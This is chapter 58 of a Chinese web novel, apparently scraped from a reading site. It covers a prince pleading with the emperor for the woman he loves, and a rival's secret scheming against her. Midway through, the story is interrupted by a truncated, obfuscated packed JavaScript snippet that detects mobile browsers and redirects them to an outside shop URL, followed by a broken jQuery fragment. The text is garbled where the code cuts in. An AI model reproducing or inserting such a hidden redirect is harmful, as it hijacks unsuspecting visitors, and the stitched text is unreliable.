58. 两地
    在京城的日子,君琰除了忙公事,就是在洒扫房间、摆弄府里西厢房里的布置。

    这个琉璃花瓶夭夭应该喜欢,要放在显眼的位置;杏花是她最喜欢的花,要在窗前多种几株,这样她清晨一醒来就能看到窗外的花朵;再重新布置一个小楠木柜,可以摆一些她喜欢的小玩意儿;地毯要用清新素雅的颜色……嗯,还有什么呢?

    等他们正式成亲了,她想去哪里,他就带她去哪里,想留在江南,他便陪她留在江南,若想回王府看一看,他也得提前将这里布置得漂漂亮亮,她才会住得舒心。

    现在这里焕然一新,俨然像是公主落榻的地方,相信她会喜欢的吧?

    夭夭,曾经王府给你带去了不好的回忆,现在不一样了……以后你在我身边,我不会再让你不开心了。

    再也不会了。

    他抬手接住枝头被风吹落的杏花花瓣,恍惚间仿佛又看见了她当年站在这杏树下面,对自己低眉浅笑的样子。

    “你还是没能娶到沈月吗?”——却不知君朝雨什么时候来了,也没个人禀报一声,想来是出自本人授意。

    “你在江南的情况朕都有所耳闻,实是在太荒唐了。你若实在办不到却又非她不可,朕来帮你,这便下旨为你二人赐婚,她再敢抗旨,便诛她九族!”君朝雨震了震衣袖,“朕还从来没见过这样不像话的,她这么做,实是在羞辱皇家颜面,其罪该杀!”

    “皇兄息怒!”君琰行了礼道:“此次不成确实事出有因,是阿尔汉公主从中作梗,非她之过。况且,臣弟是想让她心甘情愿地嫁与我,皇兄不可如此,就当是为了臣弟吧。”

    “你还帮她说话?”君朝雨抬了抬眉,“就算你从前有什么对不起她的地方,时间都过去这么久了,她死咬着不放也没有道理。再者,你是朕的九弟,是大楚的王爷!哪里能容她这般作贱?都四次了,朕都看在你的面子上一直没有插手,已经是对她很宽容了!”

    “皇兄好意臣弟心领,但皇兄也答应过不干预臣弟的私事。”君琰亦是不退让,“若皇兄认为臣弟所经历的有损皇家掩面,便请即日起将臣弟削去爵位吧。”

    “你……!”

    “当年先皇下旨,命臣弟屠山,她现今已没有亲人在世了,也没有九族可株。”君琰说道:“若将她逼急了,人有个什么三长两短,臣弟纵死不能偿还……”

    “你呀!”君朝雨一副恨铁不成钢的样子,“以前怎么没看出来,你竟是这么个情种?”

    “臣弟不配‘情种’二字,只是想弥补当年……当年若不是因为臣弟,沈月不至于落到如今的田地,恳请皇兄……开恩!”说着竟跪了下来。

    “朕说过你私底下可以不跪!这又是做什么?”

    “若皇兄还是不能息怒,便以臣弟亲王之爵位,换沈月一命。”

    “你、你让朕怎么说你好……朕这不也是想帮你吗?起来,快起来。”他亲手将他扶了起来,叹气:“你这又是何苦呀……”

    “恳请皇兄答应臣弟,现在或者将来,无论发生任何事,只要沈月所为不会影响到朝政社稷,陛下都不要治她死罪。”

    “你当真要如此逼迫朕吗?不逼迫伤害你的人,却来逼迫为你着想的人?”

    “愿以免死金牌相换!臣弟那有一块父皇还在世时赐下的免死金牌,若皇兄当真要杀沈月,臣弟现在便将它用出去了。”

    君朝雨沉默半晌,冷笑……

    “行。你既如此心甘情愿,朕也只能成全你。只是此物一旦交出,下回你若犯了什么事,就无物可保了。”

    “无妨的。”

    又是亲王爵位,又是免死金牌……寻常人眼中穷极一生都得不到的东西,他却视若无物,实在是身在福中不知福。君朝雨目光复杂地看着他这位九弟,狠辣是他一贯的作风,却唯独对这名女子卑微到了尘埃里,不像自己……

    “也罢,你想怎么做就怎么做吧。两个月后朕也会下江南巡游,到时,再去吃你的喜酒!”

    君朝雨皮里阳秋地说完,拂袖而去。

    *

    江浙那边,一间密室里。

    “你要求的我们已经帮你达成了,我们要求的你再什么时候动手?”

    “呵,我要求的同时也是你们想要的,就算没有我的请求,你们不是也会杀了沈因初吗?”

    “你知道得太多了。我们已经把你当自己人了,你应该再坦诚一点。”

    “我还不坦诚吗?”

    “……罢了,先说点别的吧。我们有着共同的目标,这你也知道,下一步该做什么,不必我再多说了吧?”

    “可这样做的最终结果,是会让她变得众叛亲离……我以为事情做到这一步,已经可以停下了!我们这是在一步步把她推向深渊呐!”

    “众叛亲离了不好吗?让她众叛亲离,这样她唯一能依靠的人就只有你了,这难道不是你一直盼望的吗?”

    “……你!”

    “你自己想想,从前她什么都有的时候,几时需要过你?想彻底将她弄到手,你就得让她依赖你,不得不依赖你,对吗?”

    对面沉默了。

    “你若当真非她不可,又何必计较这中间用了什么手段?只要最终能达到那个结果不就够了,她也永远都不会知道你做的这些。九爷从前对她可是坏得很,她不是至今仍对他念念不忘?你做的这点事又能算得了什么?

    再者,都已经上了这条船了,这会子又来装什么好人?若你当真舍不得下手,当初又何必答应与我们合作?现在再来说这样的话,不觉得很可笑吗?”

    “……我要见你们主子!”

    “主子?主子岂是你想见就见的。司公子,我奉劝你,凡事不要太刨根究底,你现在的行为已经越界了,看在我们合作过一段时间的份上,我不计较,可若你再犯,我便会向主子请示要如何处置你。后面的事儿,你不干也得干!我这样说不只是为了不叫你半途而废,更是为了我们共同的目标和敌人,你答允了没有坏处。”

    司云又是一阵沉默……

    “好了!我要走了。”对方说。

    出来的时候天上浓云密布,小书童出来给他送伞。

    “公子,沈小姐约您凉亭一见,现在若是没事的话。”

    他急忙跑了过去。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093516|142718||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >沈月正坐在亭中,见他来了,寒暄几句后便直入主题:“我想请你帮忙。”

    司云笑了,“几时还需与我这样客气?你若有需要,我义不容辞。”

    “你先别忙着答应。这个忙,我觉得你未必会愿意……”

    “是什么?”

    “跟我合作演戏——等他回来以后。”

    一刻钟后。

    “我知道了。这个忙,我很乐意帮。对了夭夭妹妹,有件事你知不知道……”

    “何事?”

    司云忖了忖,拿出一枚玉坠——“我着人打造了和你从前那个差不多的坠子,本打算给你让你去做想做之事,今天早上却听说,玲珑塔没有了。”

    “什么?!”

    “玲珑塔被人毁了。”他说,“这事是九公子干的。”

    “我还一直等着去……”

    “是,之前的事情你同我讲过,我知道信守诺言对你来说很重要,更何况那还是他人临终相托。我本想帮你一起完成此事,却没想到那个地方已经消失了,听说是十天前就消失了。”

    “那玲珑塔主会去什么地方?我还能上哪儿找到他?”

    “玲珑塔主从来不以真面目示人,没人知道他的由来、姓名,神龙见首不见尾的,你要找他,便如大海捞针……事情到这一步,我劝你还是算了,别再为难自己。总之你的心意已尽到了,但发生了这样的事也非你之过,对方泉下有知,定不会责怪你的。”

    她垂下了头,哀伤地叹气,想起与小陶嘱托自己时坚定和托付的语气……

    眼眸里又划过一抹恨意。

    “他总是如此对我,总是如此……还说什么是为我好!为我好,却害我失信于人;为我好,却杀我恩人……”

    “我就说过,你和他在一起纠缠不清,他是不会让你快活顺意的。”

    “我何时跟他在一起了?”她抬起头来,心中恨意难平,“不会,永远都不会!”

    她气得转身就走,走出几步,心中又回过味来。

    司云哥哥的性情最近仿佛变了一些,他对君琰自是也有敌意……想着便嘱咐静儿道:“派人去查一下,看玲珑塔到底是怎么毁的。”

    晚间侍女来答复了:“小姐,玲珑塔是九公子命手下毁掉的。”

    “……”

    果真还是如此么?

    “玲珑塔在这里,也有二十几年了吧?”

    “是啊小姐。可九公子毕竟不是常人,只要他动动手指,别说一座玲珑塔,便是十座,也可眨眼灰飞烟灭啊。”

    “……我倒是忘了。”她点点头,“办得好,下去吧。”

    “对了小姐,您要的东西买来了。”

    “嗯。”她起身,向沈因初的灵堂走去,“义父不是江浙本地人,他老家那边,人死后有送魂的习俗,今夜就让我来为他送魂吧。”

    “小姐,”静儿劝道:“是有这么回事,但做这样的法事,会对送魂者本人不好,要不让奴婢代劳吧?”

    “我是他的养女,自然该由我来,有什么影响我不在乎。义父生前待我恩重如山,他走后所有的事,都该由我亲自来办。”